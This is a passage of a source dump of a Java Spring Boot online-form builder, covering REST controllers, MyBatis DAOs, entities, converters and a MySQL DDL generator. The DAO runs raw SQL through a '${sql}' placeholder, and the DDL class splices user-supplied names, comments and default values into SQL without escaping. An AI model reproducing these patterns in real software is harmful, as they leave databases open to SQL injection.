  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/common/PageResult.java",
    "content": "package io.github.wujun728.online.common;\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * 分页工具类\n *\n */\n@Data\npublic class PageResult<T> implements Serializable {\n    // 总记录数\n    private int total;\n\n    // 列表数据\n    private List<T> list;\n\n    /**\n     * 分页\n     *\n     * @param list  列表数据\n     * @param total 总记录数\n     */\n    public PageResult(List<T> list, long total) {\n        this.list = list;\n        this.total = (int) total;\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/common/Query.java",
    "content": "package io.github.wujun728.online.common;\n\nimport lombok.Data;\nimport org.hibernate.validator.constraints.Range;\n\n/**\n * 查询公共参数\n *\n */\n@Data\npublic class Query {\n    String code;\n    String tableName;\n    String attrType;\n    String columnType;\n    String connName;\n    String dbType;\n    String projectName;\n\n    Integer page;\n\n    @Range(min = 1, max = 1000, message = \"每页条数，取值范围 1-1000\")\n    Integer limit;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/common/impl/BaseServiceImpl.java",
    "content": "package io.github.wujun728.online.common.impl;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.metadata.OrderItem;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport io.github.wujun728.online.common.BaseService;\nimport io.github.wujun728.online.common.Query;\n\n\n/**\n * 基础服务类，所有Service都要继承\n *\n */\npublic class BaseServiceImpl<M extends BaseMapper<T>, T> extends ServiceImpl<M, T> implements BaseService<T> {\n\n    /**\n     * 获取分页对象\n     *\n     * @param query 分页参数\n     */\n    protected IPage<T> getPage(Query query) {\n        Page<T> page = new Page<>(query.getPage(), query.getLimit());\n        page.addOrder(OrderItem.desc(\"id\"));\n        return page;\n    }\n\n    protected QueryWrapper<T> getWrapper(Query query) {\n        QueryWrapper<T> wrapper = new QueryWrapper<>();\n        wrapper.like(StrUtil.isNotBlank(query.getCode()), \"code\", query.getCode());\n        wrapper.like(StrUtil.isNotBlank(query.getTableName()), \"table_name\", query.getTableName());\n        wrapper.like(StrUtil.isNotBlank(query.getAttrType()), \"attr_type\", query.getAttrType());\n        wrapper.like(StrUtil.isNotBlank(query.getColumnType()), \"column_type\", query.getColumnType());\n        wrapper.like(StrUtil.isNotBlank(query.getConnName()), \"conn_name\", query.getConnName());\n        wrapper.eq(StrUtil.isNotBlank(query.getDbType()), \"db_type\", query.getDbType());\n        wrapper.like(StrUtil.isNotBlank(query.getProjectName()), \"project_name\", query.getProjectName());\n        return wrapper;\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/config/OnlineFormAutoConfiguration.java",
    "content": "package io.github.wujun728.online.config;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.autoconfigure.AutoConfigureAfter;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\n\n@Configuration\n@AutoConfigureAfter(name = \"org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration\")\n@MapperScan(\"io.github.wujun728.online.dao\")\npublic class OnlineFormAutoConfiguration {\n\n    /**\n     * 配置MyBatis Mapper扫描\n     */\n    @Bean\n    @ConditionalOnMissingBean\n    public MapperScannerConfig mapperScannerConfig() {\n        return new MapperScannerConfig();\n    }\n\n    public static class MapperScannerConfig {\n        // 这个类用于支持自动配置\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/controller/OnlineFormController.java",
    "content": "package io.github.wujun728.online.controller;\n\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.query.OnlineFormQuery;\nimport io.github.wujun728.online.service.OnlineFormService;\nimport io.github.wujun728.online.vo.form.OnlineFormVO;\nimport net.maku.framework.common.exception.ServerException;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.validation.Valid;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 在线表单控制器\n */\n@RestController\n@RequestMapping(\"sys/online/form/{tableId}\")\npublic class OnlineFormController {\n\n    private final OnlineFormService onlineFormService;\n\n    public OnlineFormController(OnlineFormService onlineFormService) {\n        this.onlineFormService = onlineFormService;\n    }\n\n    /**\n     * 获取表单数据\n     */\n    @GetMapping(\"{id}\")\n    public Result get(@PathVariable(\"tableId\") String tableId, @PathVariable(\"id\") Long id) throws ServerException {\n        Map<String, Object> data = onlineFormService.get(tableId, id);\n        return Result.ok(data);\n    }\n\n    /**\n     * 保存表单数据\n     */\n    @PostMapping\n    public Result save(@PathVariable(\"tableId\") String tableId, @RequestBody Map<String, String> params) throws ServerException {\n        onlineFormService.save(tableId, params);\n        return Result.ok();\n    }\n\n    /**\n     * 获取表单配置\n     */\n    @GetMapping\n    public Result json(@PathVariable(\"tableId\") String tableId) throws ServerException {\n        OnlineFormVO formVO = onlineFormService.getJSON(tableId);\n        return Result.ok(formVO);\n    }\n\n    /**\n     * 分页查询表单数据\n     */\n    @PostMapping(\"page\")\n    public Result page(@PathVariable(\"tableId\") String tableId, @RequestBody @Valid OnlineFormQuery query) throws ServerException {\n        PageResult<Map<String, Object>> page = onlineFormService.page(tableId, query);\n        return Result.ok(page);\n    }\n\n    /**\n     * 更新表单数据\n     */\n    @PutMapping\n    public Result update(@PathVariable(\"tableId\") String tableId, @RequestBody Map<String, String> params) throws ServerException {\n        onlineFormService.update(tableId, params);\n        return Result.ok();\n    }\n\n    /**\n     * 删除表单数据\n     */\n    @DeleteMapping\n    public Result delete(@PathVariable(\"tableId\") String tableId, @RequestBody List<Long> ids) throws ServerException {\n        onlineFormService.delete(tableId, ids);\n        return Result.ok();\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/controller/OnlineTableController.java",
    "content": "package io.github.wujun728.online.controller;\n\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.online.common.PageResult;\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.query.OnlineTableQuery;\nimport io.github.wujun728.online.service.OnlineTableService;\nimport io.github.wujun728.online.vo.OnlineTableVO;\nimport net.maku.framework.common.exception.ServerException;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.validation.Valid;\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * 在线表控制器\n */\n@RestController\n@RequestMapping(\"sys/online/table\")\npublic class OnlineTableController {\n\n    private final OnlineTableService onlineTableService;\n\n    public OnlineTableController(OnlineTableService onlineTableService) {\n        this.onlineTableService = onlineTableService;\n    }\n\n    /**\n     * 获取表信息\n     */\n    @GetMapping(\"{id}\")\n    public Result get(@PathVariable String id) {\n        OnlineTableVO vo = onlineTableService.get(id);\n        return Result.ok(vo);\n    }\n\n    /**\n     * 保存表信息\n     */\n    @PostMapping\n    public Result save(@RequestBody OnlineTableVO vo) {\n        try {\n            onlineTableService.save(vo);\n            return Result.ok();\n        } catch (Exception e) {\n            return Result.error(e.getMessage());\n        }\n    }\n\n    /**\n     * 更新表信息\n     */\n    @PutMapping\n    public Result update(@RequestBody OnlineTableVO vo) {\n        onlineTableService.update(vo);\n        return Result.ok();\n    }\n\n    /**\n     * 删除表信息\n     */\n    @DeleteMapping\n    public Result delete(@RequestBody List<String> ids) {\n        onlineTableService.delete(ids);\n        return Result.ok();\n    }\n\n    /**\n     * 分页查询表信息\n     */\n    @PostMapping(\"page\")\n    public Result page(@RequestBody @Valid OnlineTableQuery query) {\n        PageResult<OnlineTableVO> page = onlineTableService.page(query);\n        return Result.ok(page);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/controller/TestOnlineController.java",
    "content": "package io.github.wujun728.online.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\n/**\n * 测试控制器，用于验证应用是否正常启动\n */\n@Controller\npublic class TestOnlineController {\n\n    /**\n     * 简单的测试接口\n     */\n    @GetMapping(\"/test\")\n    @ResponseBody\n    public String test() {\n        return \"Hello, application is running!\";\n    }\n\n    /**\n     * 访问测试页面\n     */\n    @GetMapping(\"/test-page\")\n    public String testPage() {\n        return \"index.html\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/controller/WebController.java",
    "content": "package io.github.wujun728.online.controller;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\n\n/**\n * 静态页面控制器\n * 用于提供在线表单开发工具的前端页面访问入口\n */\n@Controller\n@RequestMapping(\"/online\")\npublic class WebController {\n    \n    /**\n     * 在线表单开发工具首页\n     */\n    @GetMapping(\"/index\")\n    public String index() {\n        return \"redirect:/online/index.html\";\n    }\n    \n    /**\n     * 表单管理页面\n     */\n    @GetMapping(\"/form\")\n    public String form() {\n        return \"redirect:/online/form.html\";\n    }\n    \n    /**\n     * 提供一个简单的欢迎页面\n     */\n    @GetMapping(\"/welcome\")\n    public String welcome() {\n        return \"redirect:/online/index.html\";\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/convert/OnlineTableColumnConvert.java",
    "content": "package io.github.wujun728.online.convert;\n\nimport java.util.List;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\nimport org.mapstruct.Mapper;\nimport org.mapstruct.factory.Mappers;\n\n/**\n * 在线表字段对象转换接口\n */\n@Mapper\npublic interface OnlineTableColumnConvert {\n    public static final OnlineTableColumnConvert INSTANCE = Mappers.getMapper(OnlineTableColumnConvert.class);\n\n    List<OnlineTableColumnEntity> convertList2(List<OnlineTableColumnVO> voList);\n\n    List<OnlineTableColumnVO> convertList(List<OnlineTableColumnEntity> entityList);\n\n    OnlineTableColumnEntity convert(OnlineTableColumnVO vo);\n\n    OnlineTableColumnVO convert(OnlineTableColumnEntity entity);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/convert/OnlineTableColumnConvertImpl.java",
    "content": "package io.github.wujun728.online.convert;\n\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\n\n/**\n * 在线表字段对象转换实现类\n */\npublic class OnlineTableColumnConvertImpl implements OnlineTableColumnConvert {\n\n    @Override\n    public List<OnlineTableColumnEntity> convertList2(List<OnlineTableColumnVO> voList) {\n        if (voList == null) {\n            return null;\n        }\n        List<OnlineTableColumnEntity> entityList = new ArrayList<>(voList.size());\n        for (OnlineTableColumnVO vo : voList) {\n            entityList.add(convert(vo));\n        }\n        return entityList;\n    }\n\n    @Override\n    public List<OnlineTableColumnVO> convertList(List<OnlineTableColumnEntity> entityList) {\n        if (entityList == null) {\n            return null;\n        }\n        List<OnlineTableColumnVO> voList = new ArrayList<>(entityList.size());\n        for (OnlineTableColumnEntity entity : entityList) {\n            voList.add(convert(entity));\n        }\n        return voList;\n    }\n\n    @Override\n    public OnlineTableColumnEntity convert(OnlineTableColumnVO vo) {\n        if (vo == null) {\n            return null;\n        }\n        OnlineTableColumnEntity entity = new OnlineTableColumnEntity();\n        entity.setId(vo.getId());\n        entity.setName(vo.getName());\n        entity.setComments(vo.getComments());\n        entity.setLength(vo.getLength());\n        entity.setPointLength(vo.getPointLength());\n        entity.setDefaultValue(vo.getDefaultValue());\n        entity.setColumnType(vo.getColumnType());\n        entity.setColumnPk(vo.isColumnPk());\n        entity.setColumnNull(vo.isColumnNull());\n        entity.setFormItem(vo.isFormItem());\n        entity.setFormRequired(vo.isFormRequired());\n        entity.setFormInput(vo.getFormInput());\n        entity.setFormDefault(vo.getFormDefault());\n        entity.setFormDict(vo.getFormDict());\n        entity.setGridItem(vo.isGridItem());\n        entity.setGridSort(vo.isGridSort());\n        entity.setQueryItem(vo.isQueryItem());\n        entity.setQueryType(vo.getQueryType());\n        entity.setQueryInput(vo.getQueryInput());\n        entity.setSort(vo.getSort());\n        return entity;\n    }\n\n    @Override\n    public OnlineTableColumnVO convert(OnlineTableColumnEntity entity) {\n        if (entity == null) {\n            return null;\n        }\n        OnlineTableColumnVO vo = new OnlineTableColumnVO();\n        vo.setId(entity.getId());\n        vo.setName(entity.getName());\n        vo.setComments(entity.getComments());\n        vo.setLength(entity.getLength());\n        vo.setPointLength(entity.getPointLength());\n        vo.setDefaultValue(entity.getDefaultValue());\n        vo.setColumnType(entity.getColumnType());\n        vo.setColumnPk(entity.isColumnPk());\n        vo.setColumnNull(entity.isColumnNull());\n        vo.setFormItem(entity.isFormItem());\n        vo.setFormRequired(entity.isFormRequired());\n        vo.setFormInput(entity.getFormInput());\n        vo.setFormDefault(entity.getFormDefault());\n        vo.setFormDict(entity.getFormDict());\n        vo.setGridItem(entity.isGridItem());\n        vo.setGridSort(entity.isGridSort());\n        vo.setQueryItem(entity.isQueryItem());\n        vo.setQueryType(entity.getQueryType());\n        vo.setQueryInput(entity.getQueryInput());\n        vo.setSort(entity.getSort());\n        return vo;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/convert/OnlineTableConvert.java",
    "content": "package io.github.wujun728.online.convert;\n\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.vo.OnlineTableVO;\nimport org.mapstruct.Mapper;\nimport org.mapstruct.factory.Mappers;\n\nimport java.util.List;\n\n/**\n * 在线表对象转换接口\n */\n@Mapper\npublic interface OnlineTableConvert {\n    public static final OnlineTableConvert INSTANCE = Mappers.getMapper(OnlineTableConvert.class);\n\n    List<OnlineTableVO> convertList(List<OnlineTableEntity> entityList);\n\n    OnlineTableVO convert(OnlineTableEntity entity);\n\n    OnlineTableEntity convert(OnlineTableVO vo);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/convert/OnlineTableConvertImpl.java",
    "content": "package io.github.wujun728.online.convert;\n\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport io.github.wujun728.online.vo.OnlineTableVO;\nimport org.mapstruct.factory.Mappers;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * 在线表对象转换实现类\n */\npublic class OnlineTableConvertImpl implements OnlineTableConvert {\n\n    public static final OnlineTableConvert INSTANCE = Mappers.getMapper(OnlineTableConvert.class);\n\n    @Override\n    public List<OnlineTableVO> convertList(List<OnlineTableEntity> entityList) {\n        if (entityList == null || entityList.isEmpty()) {\n            return null;\n        }\n        return entityList.stream()\n                .map(this::convert)\n                .collect(Collectors.toList());\n    }\n\n    @Override\n    public OnlineTableVO convert(OnlineTableEntity entity) {\n        if (entity == null) {\n            return null;\n        }\n        OnlineTableVO vo = new OnlineTableVO();\n        vo.setId(entity.getId());\n        vo.setName(entity.getName());\n        vo.setComments(entity.getComments());\n        vo.setFormLayout(entity.getFormLayout());\n        vo.setTree(entity.getTree());\n        vo.setTreePid(entity.getTreePid());\n        vo.setTreeLabel(entity.getTreeLabel());\n        vo.setTableType(entity.getTableType());\n        vo.setVersion(entity.getVersion());\n        vo.setCreateTime(entity.getCreateTime());\n        return vo;\n    }\n\n    @Override\n    public OnlineTableEntity convert(OnlineTableVO vo) {\n        if (vo == null) {\n            return null;\n        }\n        OnlineTableEntity entity = new OnlineTableEntity();\n        entity.setId(vo.getId());\n        entity.setName(vo.getName());\n        entity.setComments(vo.getComments());\n        entity.setFormLayout(vo.getFormLayout());\n        entity.setTree(vo.getTree());\n        entity.setTreePid(vo.getTreePid());\n        entity.setTreeLabel(vo.getTreeLabel());\n        entity.setTableType(vo.getTableType());\n        entity.setCreateTime(vo.getCreateTime());\n        entity.setVersion(vo.getVersion());\n        return entity;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/dao/OnlineFormDao.java",
    "content": "package io.github.wujun728.online.dao;\n\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport java.util.List;\nimport java.util.Map;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Param;\n\n/**\n * 在线表单数据访问接口\n * 提供对表单数据的增删改查操作\n */\n@Mapper\npublic interface OnlineFormDao {\n    public void delete(@Param(value=\"tableName\") String var1, @Param(value=\"list\") List<Long> var2);\n\n    public Map<String, Object> getById(@Param(value=\"tableName\") String var1, @Param(value=\"id\") Long var2);\n\n    public void save(@Param(value=\"tableName\") String var1, @Param(value=\"columns\") Map<String, Object> var2);\n\n    public List<Map<String, Object>> getList(IPage<?> var1, @Param(value=\"tableName\") String var2, @Param(value=\"params\") Map<String, Object> var3);\n\n    public void update(@Param(value=\"tableName\") String var1, @Param(value=\"id\") Long var2, @Param(value=\"columns\") Map<String, Object> var3);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/dao/OnlineTableColumnDao.java",
    "content": "/*\n * Decompiled with CFR 0.152.\n * \n * Could not load the following classes:\n *  net.maku.framework.mybatis.dao.BaseDao\n *  org.apache.ibatis.annotations.Mapper\n */\npackage io.github.wujun728.online.dao;\n\nimport java.util.List;\n\nimport io.github.wujun728.online.common.BaseDao;\nimport io.github.wujun728.online.entity.OnlineTableColumnEntity;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\n\n@Mapper\npublic interface OnlineTableColumnDao\nextends BaseDao<OnlineTableColumnEntity> {\n    @Select(\" select * from online_table_column where table_id = #{value} order by sort \")\n    public List<OnlineTableColumnEntity> getByTableId(String var1);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/dao/OnlineTableDao.java",
    "content": "/*\n * Decompiled with CFR 0.152.\n * \n * Could not load the following classes:\n *  net.maku.framework.mybatis.dao.BaseDao\n *  org.apache.ibatis.annotations.Mapper\n *  org.apache.ibatis.annotations.Param\n *  org.apache.ibatis.annotations.Update\n */\npackage io.github.wujun728.online.dao;\n\nimport io.github.wujun728.online.common.BaseDao;\nimport io.github.wujun728.online.entity.OnlineTableEntity;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Update;\n\n@Mapper\npublic interface OnlineTableDao\nextends BaseDao<OnlineTableEntity> {\n    @Update(value={\"${sql}\"})\n    public void exeSQL(@Param(value=\"sql\") String var1);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/ddl/AbstractTable.java",
    "content": "package io.github.wujun728.online.ddl;\n\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\nimport io.github.wujun728.online.vo.OnlineTableVO;\n\nimport java.util.List;\n\n/**\n * 数据库表操作抽象类\n */\npublic abstract class AbstractTable {\n\n    /**\n     * 获取删除表的SQL语句\n     */\n    public String getDropTableSQL(String tableName) {\n        return String.format(\"DROP TABLE IF EXISTS `%s`\", tableName);\n    }\n\n    /**\n     * 获取添加列的SQL语句\n     */\n    public abstract List<String> getInsertColumnSQL(String tableName, OnlineTableColumnVO column);\n\n    /**\n     * 获取更新列的SQL语句\n     */\n    public abstract List<String> getUpdateColumnSQL(String tableName, OnlineTableColumnVO newColumn, OnlineTableColumnVO oldColumn);\n\n    /**\n     * 获取重命名表的SQL语句\n     */\n    public abstract String getRenameTableSQL(String tableName);\n\n    /**\n     * 获取更新表的SQL语句\n     */\n    public abstract String getUpdateTableSQL(String tableName, String comments);\n\n    /**\n     * 获取创建表的SQL语句\n     */\n    public abstract String getTableSQL(OnlineTableVO tableVO);\n\n    /**\n     * 获取删除列的SQL语句\n     */\n    public abstract String getDropColumnSQL(String tableName, String columnName);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/ddl/MySQLTable.java",
    "content": "package io.github.wujun728.online.ddl;\n\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.online.enums.FieldTypeEnum;\nimport io.github.wujun728.online.vo.OnlineTableColumnVO;\nimport io.github.wujun728.online.vo.OnlineTableVO;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * MySQL数据库表操作实现类\n */\npublic class MySQLTable extends AbstractTable {\n\n    /**\n     * 获取删除列的SQL语句\n     */\n    @Override\n    public String getDropColumnSQL(String tableName, String columnName) {\n        return String.format(\"ALTER TABLE `%s` DROP COLUMN `%s`\", tableName, columnName);\n    }\n\n    /**\n     * 获取更新列的SQL语句\n     */\n    @Override\n    public List<String> getUpdateColumnSQL(String tableName, OnlineTableColumnVO newColumn, OnlineTableColumnVO oldColumn) {\n        List<String> sqlList = new ArrayList<>();\n        // 检查列名、类型、注释或默认值是否发生变化\n        boolean needUpdate = !StrUtil.equals(newColumn.getName(), oldColumn.getName()) ||\n                !StrUtil.equals(newColumn.getColumnType(), oldColumn.getColumnType()) ||\n                !StrUtil.equals(newColumn.getComments(), oldColumn.getComments()) ||\n                !StrUtil.equals(newColumn.getDefaultValue(), oldColumn.getDefaultValue());\n\n        if (needUpdate) {\n            String sql = String.format(\n                    \"ALTER TABLE `%s` CHANGE COLUMN `%s` `%s` %s COMMENT '%s'\",\n                    tableName,\n                    oldColumn.getName(),\n                    newColumn.getName(),\n                    getColumnType(newColumn),\n                    newColumn.getComments()\n            );\n            sqlList.add(sql);\n        }\n        return sqlList;\n    }\n\n    /**\n     * 获取添加列的SQL语句\n     */\n    @Override\n    public List<String> getInsertColumnSQL(String tableName, OnlineTableColumnVO column) {\n        List<String> sqlList = new ArrayList<>();\n        String nullConstraint = column.isColumnNull() ? \"NULL\" : \"NOT NULL\";\n        String defaultValue = \"\";\n        \n        if (StrUtil.isNotBlank(column.getDefaultValue())) {\n            defaultValue = String.format(\" DEFAULT '%s'\", column.getDefaultValue());\n        }\n        \n        String sql = String.format(\n                \"ALTER TABLE `%s` ADD COLUMN `%s` %s %s %s COMMENT '%s'\",\n                tableName,\n                column.getName(),\n                getColumnType(column),\n                nullConstraint,\n                defaultValue,\n                column.getComments()\n        );\n        sqlList.add(sql);\n        return sqlList;\n    }\n\n    /**\n     * 获取创建表的SQL语句\n     */\n    @Override\n    public String getTableSQL(OnlineTableVO tableVO) {\n        StringBuilder columnsBuilder = new StringBuilder();\n        \n        // 遍历所有列，构建列定义SQL\n        for (OnlineTableColumnVO column : tableVO.getColumnList()) {\n            String nullConstraint = column.isColumnNull() ? \"NULL\" : \"NOT NULL\";\n            String defaultValue = \"\";\n            \n            if (StrUtil.isNotBlank(column.getDefaultValue())) {\n                defaultValue = String.format(\" DEFAULT '%s'\", column.getDefaultValue());\n            }\n            \n            columnsBuilder.append(String.format(\n                    \"  `%s` %s %s %s COMMENT '%s',\\n\",\n                    column.getName(),\n                    getColumnType(column),\n                    nullConstraint,\n                    defaultValue,\n                    column.getComments()\n            ));\n        }\n        \n        // 添加主键\n        columnsBuilder.append(\"  PRIMARY KEY (`id`)\");\n        \n        // 构建完整的CREATE TABLE语句\n        return String.format(\n                \"CREATE TABLE `%s` (\\n%s\\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci COMMENT='%s'\",\n                tableVO.getName(),\n                columnsBuilder.toString(),\n                tableVO.getComments()\n        );\n    }\n\n    /**\n     * 获取重命名表的SQL语句\n     */\n    @Override\n    public String getRenameTableSQL(String tableName) {\n        String newTableName = tableName + \"_\" + System.currentTimeMillis();\n        return String.format(\"ALTER TABLE `%s` RENAME TO `%s`\", tableName, newTableName);\n    }\n\n    /**\n     * 获取更新表的SQL语句\n     */\n    @Override\n    public String getUpdateTableSQL(String tableName, String comments) {\n        return String.format(\"ALTER TABLE `%s` COMMENT='%s'\", tableName, comments);\n    }\n\n    /**\n     * 根据字段类型获取MySQL数据类型\n     */\n    private String getColumnType(OnlineTableColumnVO column) {\n        switch (FieldTypeEnum.valueOf(column.getColumnType())) {\n            case String:\n                return String.format(\"VARCHAR(%d)\", column.getLength());\n            case Long:\n                return \"BIGINT\";\n            case Integer:\n                return \"INT\";\n            case Double:\n                return String.format(\"DOUBLE(%d,%d)\", column.getLength(), column.getPointLength());\n            case Date:\n                return \"DATE\";\n            case DateTime:\n                return \"DATETIME\";\n            case BigDecimal:\n                return String.format(\"DECIMAL(%d,%d)\", column.getLength(), column.getPointLength());\n            case Bit:\n                return \"BIT\";\n            case Text:\n                return \"TEXT\";\n            default:\n                return \"VARCHAR(255)\";\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/entity/OnlineTableColumnEntity.java",
    "content": "package io.github.wujun728.online.entity;\n\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport lombok.Data;\n\n/**\n * 在线表字段实体类\n * 用于表示在线表单表结构中的字段信息\n */\n@Data\n@TableName(\"online_table_column\")\npublic class OnlineTableColumnEntity {\n    /**\n     * 字段ID\n     */\n    @TableId\n    private Long id;\n    \n    /**\n     * 字段名称\n     */\n    @TableField(\"name\")\n    private String name;\n    \n    /**\n     * 字段描述\n     */\n    @TableField(\"comments\")\n    private String comments;\n    \n    /**\n     * 字段长度\n     */\n    @TableField(\"length\")\n    private Integer length;\n    \n    /**\n     * 小数点位数\n     */\n    @TableField(\"point_length\")\n    private Integer pointLength;\n    \n    /**\n     * 默认值\n     */\n    @TableField(\"default_value\")\n    private String defaultValue;\n    \n    /**\n     * 字段类型\n     */\n    @TableField(\"column_type\")\n    private String columnType;\n    \n    /**\n     * 字段主键 0：否  1：是\n     */\n    @TableField(\"column_pk\")\n    private boolean columnPk;\n    \n    /**\n     * 字段可空 0：否  1：是\n     */\n    @TableField(\"column_null\")\n    private boolean columnNull;\n    \n    /**\n     * 表单项 0：否  1：是\n     */\n    @TableField(\"form_item\")\n    private boolean formItem;\n    \n    /**\n     * 表单必填 0：否  1：是\n     */\n    @TableField(\"form_required\")\n    private boolean formRequired;\n    \n    /**\n     * 表单控件\n     */\n    @TableField(\"form_input\")\n    private String formInput;\n    \n    /**\n     * 表单控件默认值\n     */\n    @TableField(\"form_default\")\n    private String formDefault;\n    \n    /**\n     * 表单字典\n     */\n    @TableField(\"form_dict\")\n    private String formDict;\n    \n    /**\n     * 列表项 0：否  1：是\n     */\n    @TableField(\"grid_item\")\n    private boolean gridItem;\n    \n    /**\n     * 列表排序 0：否  1：是\n     */\n    @TableField(\"grid_sort\")\n    private boolean gridSort;\n    \n    /**\n     * 查询项 0：否  1：是\n     */\n    @TableField(\"query_item\")\n    private boolean queryItem;\n    \n    /**\n     * 查询方式\n     */\n    @TableField(\"query_type\")\n    private String queryType;\n    \n    /**\n     * 查询控件\n     */\n    @TableField(\"query_input\")\n    private String queryInput;\n    \n    /**\n     * 排序\n     */\n    @TableField(\"sort\")\n    private Integer sort;\n    \n    /**\n     * 表ID\n     */\n    @TableField(\"table_id\")\n    private String tableId;\n    \n    /**\n     * 判断是否为主键\n     */\n    public boolean isPrimaryKey() {\n        return columnPk;\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/entity/OnlineTableEntity.java",
    "content": "package io.github.wujun728.online.entity;\n\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.fasterxml.jackson.annotation.JsonFormat;\nimport lombok.Data;\n\nimport java.util.Date;\n\n/**\n * 在线表实体类\n * 用于表示在线表单的表结构信息\n */\n@Data\n@TableName(\"online_table\")\npublic class OnlineTableEntity {\n    \n    /**\n     * 表ID\n     */\n    @TableId(\"id\")\n    private String id;\n    \n    /**\n     * 表名称\n     */\n    @TableField(\"name\")\n    private String name;\n    \n    /**\n     * 表备注\n     */\n    @TableField(\"comments\")\n    private String comments;\n    \n    /**\n     * 表单布局\n     */\n    @TableField(\"form_layout\")\n    private Integer formLayout;\n    \n    /**\n     * 树形结构标识\n     */\n    @TableField(\"tree\")\n    private Integer tree;\n    \n    /**\n     * 树形父ID\n     */\n    @TableField(\"tree_pid\")\n    private String treePid;\n    \n    /**\n     * 树形标签\n     */\n    @TableField(\"tree_label\")\n    private String treeLabel;\n    \n    /**\n     * 表类型\n     */\n    @TableField(\"table_type\")\n    private Integer tableType;\n    \n    /**\n     * 创建人\n     */\n    @TableField(\"creator\")\n    private Long creator;\n    \n    /**\n     * 创建时间\n     */\n    @TableField(\"create_time\")\n    @JsonFormat(pattern 